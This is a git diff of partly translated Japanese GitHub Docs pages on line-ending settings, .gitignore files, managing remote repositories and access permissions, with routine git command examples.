+上のように、まずファイルの種類を示し (`*.c`、`*.sln`、`*.png` など)、そのあとに区切り文字として空白文字を続け、そのあとに、そのファイルの種類に適用すべき設定 (`text`、`text eol=crlf`、`binary` など) を指定します。 以下、利用可能な設定を見てみましょう。
 
-- `text=auto` Git will handle the files in whatever way it thinks is best. This is a good default option.
+- `text=auto` Git が最善と判断する方法でファイルを処理します。 これは便利なデフォルトのオプションです。
 
-- `text eol=crlf` Git will always convert line endings to `CRLF` on checkout. You should use this for files that must keep `CRLF` endings, even on OSX or Linux.
+- `text eol=crlf` Git はチェックアウトの際常に行終端を `CRLF` に変換します。 OSX や Linux であったとしても、終端が `CRLF` でなければならないファイルにはこれを使用する必要があります。
 
-- `text eol=lf` Git will always convert line endings to `LF` on checkout. You should use this for files that must keep LF endings, even on Windows.
+- `text eol=lf` Git はチェックアウトの際常に行終端を `LF` に変換します。 Windows であったとしても、終端が LF でなければならないファイルにはこれを使用する必要があります。
 
-- `binary` Git will understand that the files specified are not text, and it should not try to change them. The `binary` setting is also an alias for `-text -diff`.
+- `binary` Git は指定されているファイルがテキストではなく、変更を試みるべきではないと判断します。 `binary` 設定は `-text -diff` のエイリアスでもあります。
 
-## Refreshing a repository after changing line endings
+## 行終端を変更した後でリポジトリを更新
 
-When you set the `core.autocrlf` option or commit a *.gitattributes* file, you may find that Git reports changes to files that you have not modified. Git has changed line endings to match your new configuration.
+`core.autocrlf` オプションを設定するか、または *.gitattributes* ファイルをコミットするとき、自分で更新したことがないファイルが変更されていることを Git が報告する場合があります。 これは、新しい設定に合致するように Git が行終端を変更したということです。
 
-To ensure that all the line endings in your repository match your new configuration, backup your files with Git, delete all files in your repository (except the `.git` directory), then restore the files all at once.
+リポジトリのすべての行終端が新しい設定と一致するようにするには、Git でファイルをバックアップし、リポジトリ ( `git` は除いて) のすべてのファイルを削除してから、ファイルを一度にすべて復元します。
 
-1. Save your current files in Git, so that none of your work is lost.
+1. 作業結果を失うことのないよう、Git で現在のファイルを保存します。
   ```shell
   $ git add . -u
   $ git commit -m "Saving files before refreshing line endings"
   ```
-2. Add all your changed files back and normalize the line endings.
+2. 変更したファイルをすべて再度追加し、行終端を正規化します。
   ```shell
   $ git add --renormalize .
   ```
-3. Show the rewritten, normalized files.
+3. 書き直し、正規化したファイルを表示します。
   ```shell
   $ git status
   ```
-4. Commit the changes to your repository.
+4. 変更をリポジトリにコミットします。
   ```shell
   $ git commit -m "Normalize all the line endings"
   ```
 
-## Further reading
+## 参考リンク
 
-- [Customizing Git - Git Attributes](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) in the Pro Git book
-- [git-config](https://git-scm.com/docs/git-config) in the man pages for Git
-- [Getting Started - First-Time Git Setup](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) in the Pro Git book
-- [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) by [Tim Clem](https://github.com/tclem)
+- Pro Git ブックの「[Git のカスタマイズ - Git の属性](https://git-scm.com/book/en/Customizing-Git-Git-Attributes)」
+- Git の man ページの [git-config](https://git-scm.com/docs/git-config)
+- Pro Git ブックの「[使い始める - 最初の Git の構成](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup)」
+- [Tim Clem](https://github.com/tclem) による「[Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/)」
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/git-workflows.md b/translations/ja-JP/content/get-started/getting-started-with-git/git-workflows.md
index 426fd8dbb8..2c3f0a26fd 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/git-workflows.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/git-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Git workflows
-intro: '{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow that supports teams and projects that deploy regularly.'
+title: Git のワークフロー
+intro: '{% data variables.product.prodname_dotcom %} フローは、軽量でブランチベースのワークフローで、規則的にデプロイされる Team とプロジェクトをサポートしています。'
 redirect_from:
   - /articles/what-is-a-good-git-workflow
   - /articles/git-workflows
@@ -13,4 +13,5 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-You can adopt the {% data variables.product.prodname_dotcom %} flow method to standardize how your team functions and collaborates on {% data variables.product.prodname_dotcom %}. For more information, see "[{% data variables.product.prodname_dotcom %} flow](/github/getting-started-with-github/github-flow)."
+
+{% data variables.product.prodname_dotcom %} フローの手法を使うと、Team の機能と {% data variables.product.prodname_dotcom %} でのコラボレーションを標準化することができます。 For more information, see "[{% data variables.product.prodname_dotcom %} flow](/github/getting-started-with-github/github-flow)."
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/ignoring-files.md b/translations/ja-JP/content/get-started/getting-started-with-git/ignoring-files.md
index 72d4b8d668..35864b9f1c 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/ignoring-files.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/ignoring-files.md
@@ -1,5 +1,5 @@
 ---
-title: Ignoring files
+title: ファイルを無視する
 redirect_from:
   - /git-ignore
   - /ignore-files
@@ -7,60 +7,60 @@ redirect_from:
   - /github/using-git/ignoring-files
   - /github/getting-started-with-github/ignoring-files
   - /github/getting-started-with-github/getting-started-with-git/ignoring-files
-intro: 'You can configure Git to ignore files you don''t want to check in to {% data variables.product.product_name %}.'
+intro: '{% data variables.product.product_name %} にチェックインしたくないファイルを無視するように Git を設定することができます。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Configuring ignored files for a single repository
 
-You can create a *.gitignore* file in your repository's root directory to tell Git which files and directories to ignore when you make a commit.
-To share the ignore rules with other users who clone the repository, commit the *.gitignore* file in to your repository.
+## 単一リポジトリについて無視するファイルを設定する
 
-GitHub maintains an official list of recommended *.gitignore* files for many popular operating systems, environments, and languages in the `github/gitignore` public repository. You can also use gitignore.io to create a *.gitignore* file for your operating system, programming language, or IDE. For more information, see "[github/gitignore](https://github.com/github/gitignore)" and the "[gitignore.io](https://www.gitignore.io/)" site.
+リポジトリのルートディレクトリで *.gitignore* ファイルを作成すると、コミットの際にどのファイルとディレクトリを無視するか Git に指示できます。 リポジトリのクローンを作成する他のユーザと、この無視ルールを共有するには、*.gitignore* ファイルをリポジトリにコミットします。
+
+GitHub は、一般的なオペレーティング システム、環境、言語で推奨される *.gitignore* ファイルの公式なリストを、`github/gitignore` パブリックリポジトリに保持します。 gitignore.io ファイルを使用して、お使いのオペレーティング システム、プログラミング言語、または IDE に応じた *.gitignore* ファイルを作成することもできます。 詳細は「[github/gitignore](https://github.com/github/gitignore)」および「[gitignore.io](https://www.gitignore.io/)」のサイトを参照してください。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Create a *.gitignore* file for your repository.
+2. Git リポジトリの場所まで移動します。
+3. リポジトリに *.gitignore* ファイルを作成します。
    ```shell
    $ touch .gitignore
   ```
 
    If the command succeeds, there will be no output.
-   
-For an example *.gitignore* file, see "[Some common .gitignore configurations](https://gist.github.com/octocat/9257657)" in the Octocat repository.
 
-If you want to ignore a file that is already checked in, you must untrack the file before you add a rule to ignore it. From your terminal, untrack the file.
+たとえば *.gitignore* ファイルは、Octocat リポジトリで 「[一般的な .gitignore 設定](https://gist.github.com/octocat/9257657)」を参照してください。
+
+すでにチェックインしたファイルを無視したい場合は、追跡を解除してから、それを無視するルールを追加します。 ターミナルから、ファイルの追跡を解除してください。
 
 ```shell
-$ git rm --cached <em>FILENAME</em>
+$ git rm --cached <em>ファイル名</em>
 ```
 
-## Configuring ignored files for all repositories on your computer
+## コンピューター上のすべてのリポジトリについて無視するファイルを設定する
 
-You can also create a global *.gitignore* file to define a list of rules for ignoring files in every Git repository on your computer. For example, you might create the file at *~/.gitignore_global* and add some rules to it.
+グローバルな *.gitignore* ファイルも作成して、お使いのコンピューター上の各 Git リポジトリでファイルを無視するルールを定義することもできます。 たとえば、*~/.gitignore_global* にファイルを作成し、そこにルールを追加することができます。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Configure Git to use the exclude file *~/.gitignore_global* for all Git repositories.
+2. すべての Git リポジトリについて除外ファイル *~/.gitignore_global* を使用するよう Git を設定します。
   ```shell
   $ git config --global core.excludesfile ~/.gitignore_global
   ```
 
-## Excluding local files without creating a *.gitignore* file
+## *.gitignore* ファイルを作成せずにローカルファイルを除外する
 
-If you don't want to create a *.gitignore* file to share with others, you can create rules that are not committed with the repository. You can use this technique for locally-generated files that you don't expect other users to generate, such as files created by your editor.
+他のユーザと共有される *.gitignore* ファイルを作成したくない場合は、リポジトリにコミットされないルールを作成することもできます。 ローカルで生成され、他のユーザが生成することは想定されないファイル、たとえば自分のエディターで作成されるファイルなどを無視するときに使える方法です。
 
-Use your favorite text editor to open the file called *.git/info/exclude* within the root of your Git repository. Any rule you add here will not be checked in, and will only ignore files for your local repository.
+使い慣れたテキストエディターを使って、Git リポジトリのルートにある *.git/info/exclude* というファイルを開きます。 ここで追加するルールはチェックインされないので、ローカル リポジトリにあるファイルだけが無視されます。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Using your favorite text editor, open the file *.git/info/exclude*.
+2. Git リポジトリの場所まで移動します。
+3. 使い慣れたテキストエディターを使って、*.git/info/exclude* ファイルを開きます。
 
-## Further Reading
+## 参考リンク
 
-* [Ignoring files](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) in the Pro Git book
-* [.gitignore](https://git-scm.com/docs/gitignore) in the man pages for Git
-* [A collection of useful *.gitignore* templates](https://github.com/github/gitignore) in the github/gitignore repository
-* [gitignore.io](https://www.gitignore.io/) site
+* Pro Git ブックの「[ファイルを無視する](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring)」
+* Git の man ページの [.gitignore](https://git-scm.com/docs/gitignore)
+* github/gitignore リポジトリにある、[有益で充実した *.gitignore* テンプレート](https://github.com/github/gitignore) のコレクション
+* [gitignore.io](https://www.gitignore.io/) サイト
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/ja-JP/content/get-started/getting-started-with-git/managing-remote-repositories.md
index 0914d2a7ea..f90be1a859 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/managing-remote-repositories.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/managing-remote-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Managing remote repositories
-intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.'
+title: リモートリポジトリを管理する
+intro: 'お手元のコンピューター上にあるローカルリポジトリと、{% data variables.product.product_name %} にホストされているリポジトリを使用する方法を学びます。'
 redirect_from:
   - /categories/18/articles
   - /remotes
@@ -25,22 +25,23 @@ versions:
   ghec: '*'
 shortTitle: Manage remote repositories
 ---
+
 ## Adding a remote repository
 
 To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at.
 
-The `git remote add` command takes two arguments:
-* A remote name, for example, `origin`
-* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git`
+`git remote add` コマンドは 2 つの引数を取ります:
+* リモート名。たとえば `origin`
+* リモート URL。たとえば `https://{% data variables.command_line.backticks %}/user/repo.git`
 
-For example:
+例:
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git
-# Set a new remote
+# 新しいリモートの設定
 
 $ git remote -v
-# Verify new remote
+# 新しいリモートの検証
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (push)
 ```
@@ -57,7 +58,7 @@ $ git remote add origin https://{% data variables.command_line.codeblock %}/octo
 ```
 
 To fix this, you can:
-* Use a different name for the new remote.
+* 新しいリモートに別の名前を使う.
 * Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below.
 * Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below.
 
@@ -71,34 +72,34 @@ The `git remote set-url` command changes an existing remote repository URL.
 
 {% endtip %}
 
-The `git remote set-url` command takes two arguments:
+`git remote set-url`コマンドは 2 つの引数を取ります:
 
-* An existing remote name. For example, `origin` or `upstream` are two common choices.
-* A new URL for the remote. For example:
-  * If you're updating to use HTTPS, your URL might look like:
+* 既存のリモート名。 `origin` や `upstream` がよく使われます。
+* リモートの新しい URL。 例:
+  * HTTPS を使うよう更新する場合、URL は以下のようになります:
 ```shell
 https://{% data variables.command_line.backticks %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
-  * If you're updating to use SSH, your URL might look like:
+  * SSH を使うよう更新する場合、URL は以下のようになります:
 ```shell
 git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
 
-### Switching remote URLs from SSH to HTTPS
+### リモート URL の SSH から HTTPS への切り替え
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. ワーキングディレクトリをローカルプロジェクトに変更します。
+3. 変更したいリモートの名前を取得するため、既存のリモート一覧を表示します。
   ```shell
   $ git remote -v
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command.
+4. `git remote set-url` コマンドでリモートの URL を SSH から HTTPS に変更します。
   ```shell
   $ git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. リモート URL が変更されたことを検証します。
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -106,25 +107,25 @@ git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+次にリモートリポジトリに対して `git fetch`、`git pull`、または `git push` を実行するときに、GitHub ユーザ名とパスワードを求められます。 {% data reusables.user_settings.password-authentication-deprecation %}
 
-You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and personal access token every time it talks to GitHub.
+[認証情報ヘルパーを使用](/github/getting-started-with-github/caching-your-github-credentials-in-git)すると、Git が GitHub と通信するたびに、GitHub のユーザ名と個人アクセストークンを記憶します。
 
-### Switching remote URLs from HTTPS to SSH
+### リモート URL の HTTPS から SSH への切り替え
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. ワーキングディレクトリをローカルプロジェクトに変更します。
+3. 変更したいリモートの名前を取得するため、既存のリモート一覧を表示します。
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command.
+4. `git remote set-url` コマンドでリモートの URL を HTTPS から SSH に変更します。
   ```shell
   $ git remote set-url origin git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. リモート URL が変更されたことを検証します。
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -134,104 +135,103 @@ You can [use a credential helper](/github/getting-started-with-github/caching-yo
 
 ### Troubleshooting: No such remote '[name]'
 
-This error means that the remote you tried to change doesn't exist:
+このエラーは、変更しようとしたリモートが存在しないことを意味します。
 
 ```shell
 $ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife
 > fatal: No such remote 'sofake'
 ```
 
-Check that you've correctly typed the remote name.
+リモート名を正しく入力したか確認してください。
 
 ## Renaming a remote repository
 
 Use the `git remote rename` command to rename an existing remote.
 
-The `git remote rename` command takes two arguments:
-* An existing remote name, for example, `origin`
-* A new name for the remote, for example, `destination`
+`git remote rename` コマンドは、次の 2 つの引数を取ります:
+* 既存のリモート名（`origin` など）
+* リモートの新しい名前 (`destination` など)
 
-## Example
+## サンプル
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+次の例は (推奨されるとおり) [HTTPS を使用してクローンを作成](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)したと想定しています。
 
 ```shell
 $ git remote -v
-# View existing remotes
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
+# 既存のリモートを表示
+> origin https://{% data variables.command_line.codeblock %}/<em>オーナー</em>/<em>リポジトリ</em>.git (fetch)
+> origin https://{% data variables.command_line.codeblock %}/<em>オーナー</em>/<em>リポジトリ</em>.git (push)
 
 $ git remote rename origin destination
-# Change remote name from 'origin' to 'destination'
+# リモート名を「origin」から「destination」に変更
 
 $ git remote -v
-# Verify remote's new name
-> destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
-> destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
+# リモートの新しい名前を確認
+> destination https://{% data variables.command_line.codeblock %}/<em>オーナー</em>/<em>リポジトリ</em>.git (fetch)
+> destination https://{% data variables.command_line.codeblock %}/<em>オーナー</em>/<em>リポジトリ</em>.git (push)
 ```
 
 ### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]'
 
 This error means that the old remote name you typed doesn't exist.
 
-You can check which remotes currently exist with the `git remote -v` command:
+現在どのリモートが存在するかは、次のように `git remote -v` コマンドでチェックできます:
 
 ```shell
 $ git remote -v
-# View existing remotes
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
+# 既存のリモートを表示
+> origin  https://{% data variables.command_line.codeblock %}/<em>コードオーナー</em>/<em>リポジトリ</em>.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/<em>コードオーナー</em>/<em>リポジトリ</em>.git (push)
 ```
 
 ### Troubleshooting: Remote [new name] already exists
 
-This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote.
+このエラーは、使用しようとしたリモート名がすでに存在する、という意味です。 To solve this, either use a different remote name, or rename the original remote.
 
-## Removing a remote repository 
+## Removing a remote repository
 
 Use the `git remote rm` command to remove a remote URL from your repository.
 
-The `git remote rm` command takes one argument:
-* A remote name, for example, `destination`
+`git remote rm` コマンドは 1 つの引数を取ります:
+* リモート名 (`destination` など)
 
-## Example
+## サンプル
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+次の例は (推奨されるとおり) [HTTPS を使用してクローンを作成](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)したと想定しています。
 
 ```shell
 $ git remote -v
-# View current remotes
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
-> destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (fetch)
-> destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (push)
+# 現在のリモートの表示
+> origin  https://{% data variables.command_line.codeblock %}/<em>オーナー/リポジトリ</em>.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/<em>オーナー/リポジトリ</em>.git (push)
+> destination  https://{% data variables.command_line.codeblock %}/<em>フォーカー/リポジトリ</em>.git (fetch)
+> destination  https://{% data variables.command_line.codeblock %}/<em>フォーカー/リポジトリ</em>.git (push)
 
 $ git remote rm destination
-# Remove remote
+# リモートの削除
 $ git remote -v
-# Verify it's gone
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
-> origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
+# 削除されていることの検証
+> origin  https://{% data variables.command_line.codeblock %}/<em>オーナー/リポジトリ</em>.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/<em>オーナー/リポジトリ</em>.git (push)
 ```
 
 {% warning %}
 
-**Note**: `git remote rm` does not delete the remote repository from the server.  It simply
-removes the remote and its references from your local repository.
+**メモ**: `git remote rm` はリモートリポジトリをサーバから削除するわけではありません。  リモートとその参照をローカルリポジトリから削除するだけです。
 
 {% endwarning %}
 
 ### Troubleshooting: Could not remove config section 'remote.[name]'
 
-This error means that the remote you tried to delete doesn't exist:
+このエラーは、削除しようとしたリモートが存在しないことを意味します。
 
 ```shell
 $ git remote rm sofake
 > error: Could not remove config section 'remote.sofake'
 ```
 
-Check that you've correctly typed the remote name.
+リモート名を正しく入力したか確認してください。
 
-## Further reading
+## 参考リンク
 
-- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- [書籍 _Pro Git_ のリモートでの作業](https://git-scm.com/book/ja/v2/Git-の基本-リモートでの作業)
diff --git a/translations/ja-JP/content/get-started/index.md b/translations/ja-JP/content/get-started/index.md
index 8131599b42..0dc98411d9 100644
--- a/translations/ja-JP/content/get-started/index.md
+++ b/translations/ja-JP/content/get-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub
-shortTitle: Get started
-intro: 'Learn how to start building, shipping, and maintaining software with {% data variables.product.prodname_dotcom %}. Explore our products, sign up for an account, and connect with the world''s largest development community.'
+title: GitHub を使ってみる
+shortTitle: 始めましょう！
+intro: '{% data variables.product.prodname_dotcom %} を使用してソフトウェアの構築、出荷、および保守を始める方法を学びます。 当社の製品を探索し、アカウントにサインアップして、世界最大の開発コミュニティと繋がりましょう。'
 redirect_from:
   - /categories/54/articles
   - /categories/bootcamp
@@ -61,3 +61,4 @@ children:
   - /getting-started-with-git
   - /using-git
 ---
+
diff --git a/translations/ja-JP/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/ja-JP/content/get-started/learning-about-github/about-versions-of-github-docs.md
index 71486683c9..abafb4c01f 100644
--- a/translations/ja-JP/content/get-started/learning-about-github/about-versions-of-github-docs.md
+++ b/translations/ja-JP/content/get-started/learning-about-github/about-versions-of-github-docs.md
@@ -7,7 +7,7 @@ shortTitle: Docs versions
 
 ## About versions of {% data variables.product.prodname_docs %}
 
-{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. 詳細は「[{% data variables.product.company_short %} の製品](/get-started/learning-about-github/githubs-products)」を参照してください。
 
 This website, {% data variables.product.prodname_docs %}, provides documentation for all of {% data variables.product.company_short %}'s products. If the content you're reading applies to more than one product, you can choose the version of the documentation that's relevant to you by selecting the product you're currently using.
 
@@ -35,7 +35,7 @@ In a wide browser window, there is no text that immediately follows the {% data
 
 ![Screenshot of the address bar and the {% data variables.product.prodname_dotcom_the_website %} header in a browser](/assets/images/help/docs/header-dotcom.png)
 
-On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. For more information, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. 詳しい情報については、「[{% data variables.product.prodname_dotcom %}アカウントの種類](/get-started/learning-about-github/types-of-github-accounts)」を参照してください。"
 
 If you don't know whether an organization uses {% data variables.product.prodname_ghe_cloud %}, ask an organization owner. For more information, see "[Viewing people's roles in an organization](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization)."
 
diff --git a/translations/ja-JP/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/ja-JP/content/get-started/learning-about-github/access-permissions-on-github.md
index 07127770d3..f7bae797b6 100644
--- a/translations/ja-JP/content/get-started/learning-about-github/access-permissions-on-github.md
+++ b/translations/ja-JP/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -1,5 +1,5 @@
 ---
-title: Access permissions on GitHub
+title: GitHub 上のアクセス権限
 redirect_from:
   - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do
   - /articles/what-are-the-different-types-of-team-permissions
@@ -21,34 +21,36 @@ shortTitle: Access permissions
 
 ## About access permissions on {% data variables.product.prodname_dotcom %}
 
-{% data reusables.organizations.about-roles %} 
+{% data reusables.organizations.about-roles %}
 
 Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-## Personal user accounts
+## 個人ユーザアカウント
 
-A repository owned by a user account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)."
+ユーザアカウントが所有するリポジトリは、*リポジトリオーナー*と*コラボレータ*という 2 つの権限レベルを持ちます。 詳しい情報については[ユーザアカウントのリポジトリ権限レベル](/articles/permission-levels-for-a-user-account-repository)を参照してください。
 
-## Organization accounts
+## Organization アカウント
 
-Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see:
+Organization のメンバーは、*owner (オーナー)*{% ifversion fpt or ghec %}、*billing manager (支払いマネージャー)*、{% endif %}あるいは*member (メンバー)* ロールを持つことができます。 オーナーは、Organization に対する完全な管理者アクセスを持ち{% ifversion fpt or ghec %}、支払いマネージャーは支払いの設定を管理でき{% endif %}ます。 メンバーは、その他の人のデフォルトのロールです。 Team を使って、複数のメンバーのアクセス権限を一度に管理できます。 詳しい情報については、以下を参照してください。
 - "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- [Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-organization)
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[About teams](/articles/about-teams)"
+- [Team について](/articles/about-teams)
 
-{% ifversion fpt or ghec %}
-
-## Enterprise accounts
-
-*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-
-If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+## Enterprise アカウント
 
+{% ifversion fpt %}
 {% data reusables.gated-features.enterprise-accounts %}
 
+For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. 詳しい情報については、「[Enterprise アカウントのロール](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)」を参照してください。
+
+{% ifversion ghec %}
+If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+{% endif %}
